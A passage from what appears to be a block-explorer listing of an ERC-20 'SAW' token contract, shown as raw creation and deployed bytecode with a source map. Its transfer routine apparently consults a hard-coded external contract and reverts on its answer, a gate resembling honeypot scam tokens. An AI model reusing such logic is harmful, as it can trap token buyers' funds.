f3565b6121996020830184611ff3565b9392505050565b6000819050919050565b6000819050919050565b60006121cf6121ca6121c5846121a0565b6121aa565b611e66565b9050919050565b6121df816121b4565b82525050565b600060c0820190506121fa6000830189611ff3565b6122076020830188611f12565b61221460408301876121d6565b61222160608301866121d6565b61222e6080830185611ff3565b61223b60a0830184611f12565b979650505050505050565b60008151905061225581611e70565b92915050565b60008060006060848603121561227457612273611e03565b5b600061228286828701612246565b935050602061229386828701612246565b92505060406122a486828701612246565b9150509250925092565b60006040820190506122c36000830185611ff3565b6122d06020830184611f12565b9392505050565b6122e081611edc565b81146122eb57600080fd5b50565b6000815190506122fd816122d7565b92915050565b60006020828403121561231957612318611e03565b5b6000612327848285016122ee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061238c602483611d53565b915061239782612330565b604082019050919050565b600060208201905081810360008301526123bb8161237f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061241e602283611d53565b9150612429826123c2565b604082019050919050565b6000602082019050818103600083015261244d81612411565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006124b0602583611d53565b91506124bb82612454565b604082019050919050565b600060208201905081810360008301526124df816124a3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612542602383611d53565b915061254d826124e6565b604082019050919050565b6000602082019050818103600083015261257181612535565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006125d4602983611d53565b91506125df82612578565b604082019050919050565b60006020820190508181036000830152612603816125c7565b9050919050565b6000602082840312156126205761261f611e03565b5b600061262e84828501612246565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061267182611e66565b915061267c83611e66565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126b5576126b4612637565b5b828202905092915050565b60006126cb82611e66565b91506126d683611e66565b9250828210156126e9576126e8612637565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61278781611e28565b82525050565b6000612799838361277e565b60208301905092915050565b6000602082019050919050565b60006127bd82612752565b6127c7818561275d565b93506127d28361276e565b8060005b838110156128035781516127ea888261278d565b97506127f5836127a5565b9250506001810190506127d6565b5085935050505092915050565b600060a0820190506128256000830188611f12565b61283260208301876121d6565b818103604083015261284481866127b2565b90506128536060830185611ff3565b6128606080830184611f12565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006128c6602a83611d53565b91506128d18261286a565b604082019050919050565b600060208201905081810360008301526128f5816128b9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061293682611e66565b915061294183611e66565b925082612951576129506128fc565b5b828204905092915050565b600061296782611e66565b915061297283611e66565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156129a7576129a6612637565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006129e8601b83611d53565b91506129f3826129b2565b602082019050919050565b60006020820190508181036000830152612a17816129db565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a7a602183611d53565b9150612a8582612a1e565b604082019050919050565b60006020820190508181036000830152612aa981612a6d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204f3b9e0c7789c9531a4841f512549adc80495761ee8f0ac4dd69042cb92229d364736f6c63430008090033

Deployed Bytecode

0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f9190611de1565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611e9c565b61038e565b60405161014c9190611ef7565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190611f21565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611f3c565b6103b8565b6040516101b49190611ef7565b60405180910390f35b3480156101c957600080fd5b506101d2610491565b6040516101df9190611fab565b60405180910390f35b3480156101f457600080fd5b506101fd610496565b005b34801561020b57600080fd5b5061022660048036038101906102219190611fc6565b610510565b6040516102339190611f21565b60405180910390f35b34801561024857600080fd5b50610251610561565b005b34801561025f57600080fd5b506102686106b4565b6040516102759190612002565b60405180910390f35b34801561028a57600080fd5b506102936106dd565b6040516102a09190611de1565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611e9c565b61071a565b6040516102dd9190611ef7565b60405180910390f35b3480156102f257600080fd5b506102fb610738565b005b34801561030957600080fd5b50610324600480360381019061031f919061201d565b610c4e565b6040516103319190611f21565b60405180910390f35b34801561034657600080fd5b5061034f610cd5565b005b60606040518060400160405280600381526020017f5361770000000000000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d47565b8484610d4f565b6001905092915050565b60006377359400905090565b60006103c5848484610f1a565b610486846103d1610d47565b61048185604051806060016040528060288152602001612ab160289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610437610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e09092919063ffffffff16565b610d4f565b600190509392505050565b600090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104d7610d47565b73ffffffffffffffffffffffffffffffffffffffff16146104f757600080fd5b600061050230610510565b905061050d81611344565b50565b600061055a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cc565b9050919050565b610569610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed906120a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5341570000000000000000000000000000000000000000000000000000000000815250905090565b600061072e610727610d47565b8484610f1a565b6001905092915050565b610740610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c4906120a9565b60405180910390fd5b600860149054906101000a900460ff161561081d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081490612115565b60405180910390fd5b61084e30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166377359400610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b657600080fd5b505afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee919061214a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097257600080fd5b505afa158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa919061214a565b6040518363ffffffff1660e01b81526004016109c7929190612177565b602060405180830381600087803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a19919061214a565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610aa230610510565b600080610aad6106b4565b426040518863ffffffff1660e01b8152600401610acf969594939291906121e5565b6060604051808303818588803b158015610ae857600080fd5b505af1158015610afc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b21919061225b565b5050506001600860166101000a81548160ff0219169083151502179055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bf99291906122ae565b602060405180830381600087803b158015610c1357600080fd5b505af1158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190612303565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d16610d47565b73ffffffffffffffffffffffffffffffffffffffff1614610d3657600080fd5b6000479050610d448161163a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db6906123a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2690612434565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0d9190611f21565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f81906124c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff190612558565b60405180910390fd5b6000811161103d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611034906125ea565b60405180910390fd5b73878bc0d329e346c49ac313781e1129ec37704aa773ffffffffffffffffffffffffffffffffffffffff1663aa8c217c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561109757600080fd5b505afa1580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf919061260a565b81600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561117b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b611186576000611189565b60015b60ff166111969190612666565b11156111a157600080fd5b6111a96106b4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561121757506111e76106b4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112d057600860159054906101000a900460ff161580156112875750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561129f5750600860169054906101000a900460ff165b156112cf576112b56112b030610510565b611344565b600047905060008111156112cd576112cc4761163a565b5b505b5b6112db8383836116a6565b505050565b6000838311158290611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9190611de1565b60405180910390fd5b506000838561133791906126c0565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561137c5761137b6126f4565b5b6040519080825280602002602001820160405280156113aa5781602001602082028036833780820191505090505b50905030816000815181106113c2576113c1612723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561146457600080fd5b505afa158015611478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149c919061214a565b816001815181106114b0576114af612723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061151730600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161157b959493929190612810565b600060405180830381600087803b15801561159557600080fd5b505af11580156115a9573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160a906128dc565b60405180910390fd5b600061161d6116b6565b905061163281846116e190919063ffffffff16565b915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116a2573d6000803e3d6000fd5b5050565b6116b183838361172b565b505050565b60008060006116c36118f6565b915091506116da81836116e190919063ffffffff16565b9250505090565b600061172383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611949565b905092915050565b60008060008060008061173d876119ac565b95509550955095509550955061179b86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1190919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061183085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187c81611ab9565b6118868483611b76565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118e39190611f21565b60405180910390a3505050505050505050565b6000806000600354905060006377359400905061192263773594006003546116e190919063ffffffff16565b82101561193c576003546377359400935093505050611945565b81819350935050505b9091565b60008083118290611990576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119879190611de1565b60405180910390fd5b506000838561199f919061292b565b9050809150509392505050565b60008060008060008060008060006119c68a600654611bb0565b92509250925060006119d66116b6565b905060008060006119e98e878787611c44565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e0565b905092915050565b6000808284611a6a919061295c565b905083811015611aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa6906129fe565b60405180910390fd5b8091505092915050565b6000611ac36116b6565b90506000611ada8284611ccd90919063ffffffff16565b9050611b2e81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611b8b82600354611a1190919063ffffffff16565b600381905550611ba681600454611a5b90919063ffffffff16565b6004819055505050565b600080600080611bdc6064611bce8789611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c066064611bf8888a611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c2f82611c21858b611a1190919063ffffffff16565b611a1190919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611c5d8589611ccd90919063ffffffff16565b90506000611c748689611ccd90919063ffffffff16565b90506000611c8b8789611ccd90919063ffffffff16565b90506000611cb482611ca68587611a1190919063ffffffff16565b611a1190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611ce05760009050611d42565b60008284611cee9190612666565b9050828482611cfd919061292b565b14611d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3490612a90565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d82578082015181840152602081019050611d67565b83811115611d91576000848401525b50505050565b6000601f19601f8301169050919050565b6000611db382611d48565b611dbd8185611d53565b9350611dcd818560208601611d64565b611dd681611d97565b840191505092915050565b60006020820190508181036000830152611dfb8184611da8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611e3382611e08565b9050919050565b611e4381611e28565b8114611e4e57600080fd5b50565b600081359050611e6081611e3a565b92915050565b6000819050919050565b611e7981611e66565b8114611e8457600080fd5b50565b600081359050611e9681611e70565b92915050565b60008060408385031215611eb357611eb2611e03565b5b6000611ec185828601611e51565b9250506020611ed285828601611e87565b9150509250929050565b60008115159050919050565b611ef181611edc565b82525050565b6000602082019050611f0c6000830184611ee8565b92915050565b611f1b81611e66565b82525050565b6000602082019050611f366000830184611f12565b92915050565b600080600060608486031215611f5557611f54611e03565b5b6000611f6386828701611e51565b9350506020611f7486828701611e51565b9250506040611f8586828701611e87565b9150509250925092565b600060ff82169050919050565b611fa581611f8f565b82525050565b6000602082019050611fc06000830184611f9c565b92915050565b600060208284031215611fdc57611fdb611e03565b5b6000611fea84828501611e51565b91505092915050565b611ffc81611e28565b82525050565b60006020820190506120176000830184611ff3565b92915050565b6000806040838503121561203457612033611e03565b5b600061204285828601611e51565b925050602061205385828601611e51565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612093602083611d53565b915061209e8261205d565b602082019050919050565b600060208201905081810360008301526120c281612086565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006120ff601783611d53565b915061210a826120c9565b602082019050919050565b6000602082019050818103600083015261212e816120f2565b9050919050565b60008151905061214481611e3a565b92915050565b6000602082840312156121605761215f611e03565b5b600061216e84828501612135565b91505092915050565b600060408201905061218c6000830185611ff3565b6121996020830184611ff3565b9392505050565b6000819050919050565b6000819050919050565b60006121cf6121ca6121c5846121a0565b6121aa565b611e66565b9050919050565b6121df816121b4565b82525050565b600060c0820190506121fa6000830189611ff3565b6122076020830188611f12565b61221460408301876121d6565b61222160608301866121d6565b61222e6080830185611ff3565b61223b60a0830184611f12565b979650505050505050565b60008151905061225581611e70565b92915050565b60008060006060848603121561227457612273611e03565b5b600061228286828701612246565b935050602061229386828701612246565b92505060406122a486828701612246565b9150509250925092565b60006040820190506122c36000830185611ff3565b6122d06020830184611f12565b9392505050565b6122e081611edc565b81146122eb57600080fd5b50565b6000815190506122fd816122d7565b92915050565b60006020828403121561231957612318611e03565b5b6000612327848285016122ee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061238c602483611d53565b915061239782612330565b604082019050919050565b600060208201905081810360008301526123bb8161237f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061241e602283611d53565b9150612429826123c2565b604082019050919050565b6000602082019050818103600083015261244d81612411565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006124b0602583611d53565b91506124bb82612454565b604082019050919050565b600060208201905081810360008301526124df816124a3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612542602383611d53565b915061254d826124e6565b604082019050919050565b6000602082019050818103600083015261257181612535565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006125d4602983611d53565b91506125df82612578565b604082019050919050565b60006020820190508181036000830152612603816125c7565b9050919050565b6000602082840312156126205761261f611e03565b5b600061262e84828501612246565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061267182611e66565b915061267c83611e66565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126b5576126b4612637565b5b828202905092915050565b60006126cb82611e66565b91506126d683611e66565b9250828210156126e9576126e8612637565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61278781611e28565b82525050565b6000612799838361277e565b60208301905092915050565b6000602082019050919050565b60006127bd82612752565b6127c7818561275d565b93506127d28361276e565b8060005b838110156128035781516127ea888261278d565b97506127f5836127a5565b9250506001810190506127d6565b5085935050505092915050565b600060a0820190506128256000830188611f12565b61283260208301876121d6565b818103604083015261284481866127b2565b90506128536060830185611ff3565b6128606080830184611f12565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006128c6602a83611d53565b91506128d18261286a565b604082019050919050565b600060208201905081810360008301526128f5816128b9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061293682611e66565b915061294183611e66565b925082612951576129506128fc565b5b828204905092915050565b600061296782611e66565b915061297283611e66565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156129a7576129a6612637565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006129e8601b83611d53565b91506129f3826129b2565b602082019050919050565b60006020820190508181036000830152612a17816129db565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a7a602183611d53565b9150612a8582612a1e565b604082019050919050565b60006020820190508181036000830152612aa981612a6d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204f3b9e0c7789c9531a4841f512549adc80495761ee8f0ac4dd69042cb92229d364736f6c63430008090033

Deployed Bytecode Sourcemap

3466:7285:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4481:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5243:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4722:86;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5394:292;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4643:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8893:169;;;;;;;;;;;;;:::i;:::-;;4813:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2692:133;;;;;;;;;;;;;:::i;:::-;;2508:70;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4560:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4947:152;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7439:486;;;;;;;;;;;;;:::i;:::-;;5104:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9067:168;;;;;;;;;;;;;:::i;:::-;;4481:74;4518:13;3939:10;;;;;;;;;;;;;;;;;4538:12;;4481:74;:::o;5243:146::-;5318:4;5329:39;5338:12;:10;:12::i;:::-;5352:7;5361:6;5329:8;:39::i;:::-;5380:4;5373:11;;5243:146;;;;:::o;4722:86::-;4775:7;287:10;4789:14;;4722:86;:::o;5394:292::-;5492:4;5503:36;5513:6;5521:9;5532:6;5503:9;:36::i;:::-;5544:121;5553:6;5561:12;:10;:12::i;:::-;5575:89;5613:6;5575:89;;;;;;;;;;;;;;;;;:11;:19;5587:6;5575:19;;;;;;;;;;;;;;;:33;5595:12;:10;:12::i;:::-;5575:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5544:8;:121::i;:::-;5677:4;5670:11;;5394:292;;;;;:::o;4643:74::-;4684:5;4643:74;:::o;8893:169::-;8953:10;;;;;;;;;;;8937:26;;:12;:10;:12::i;:::-;:26;;;8929:35;;;;;;8969:23;8995:24;9013:4;8995:9;:24::i;:::-;8969:50;;9024:33;9041:15;9024:16;:33::i;:::-;8924:138;8893:169::o;4813:129::-;4879:7;4900:37;4920:7;:16;4928:7;4920:16;;;;;;;;;;;;;;;;4900:19;:37::i;:::-;4893:44;;4813:129;;;:::o;2692:133::-;2627:12;:10;:12::i;:::-;2617:22;;:6;;;;;;;;;;:22;;;2609:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2793:1:::1;2756:40;;2777:6;::::0;::::1;;;;;;;;2756:40;;;;;;;;;;;;2818:1;2801:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2692:133::o:0;2508:70::-;2546:7;2567:6;;;;;;;;;;;2560:13;;2508:70;:::o;4560:78::-;4599:13;3987:12;;;;;;;;;;;;;;;;;4619:14;;4560:78;:::o;4947:152::-;5025:4;5036:42;5046:12;:10;:12::i;:::-;5060:9;5071:6;5036:9;:42::i;:::-;5090:4;5083:11;;4947:152;;;;:::o;7439:486::-;2627:12;:10;:12::i;:::-;2617:22;;:6;;;;;;;;;;:22;;;2609:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7497:11:::1;;;;;;;;;;;7496:12;7488:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;7541:50;7558:4;7573:7;;;;;;;;;;;287:10;7541:8;:50::i;:::-;7622:7;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7604:47;;;7660:4;7667:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7604:78;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7596:5;;:86;;;;;;;;;;;;;;;;;;7687:7;;;;;;;;;;;:23;;;7719:21;7750:4;7757:24;7775:4;7757:9;:24::i;:::-;7783:1;7786::::0;7789:7:::1;:5;:7::i;:::-;7798:15;7687:127;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7833:4;7819:11;;:18;;;;;;;;;;;;;;;;;;7856:4;7842:11;;:18;;;;;;;;;;;;;;;;;;7872:5;;;;;;;;;;;7865:21;;;7895:7;;;;;;;;;;;7905:14;7865:55;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7439:486::o:0;5104:134::-;5185:7;5206:11;:18;5218:5;5206:18;;;;;;;;;;;;;;;:27;5225:7;5206:27;;;;;;;;;;;;;;;;5199:34;;5104:134;;;;:::o;9067:168::-;9127:10;;;;;;;;;;;9111:26;;:12;:10;:12::i;:::-;:26;;;9103:35;;;;;;9143:26;9172:21;9143:50;;9198:32;9211:18;9198:12;:32::i;:::-;9098:137;9067:168::o;408:89::-;461:7;482:10;475:17;;408:89;:::o;5929:308::-;6033:1;6016:19;;:5;:19;;;;6008:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6108:1;6089:21;;:7;:21;;;;6081:68;;;;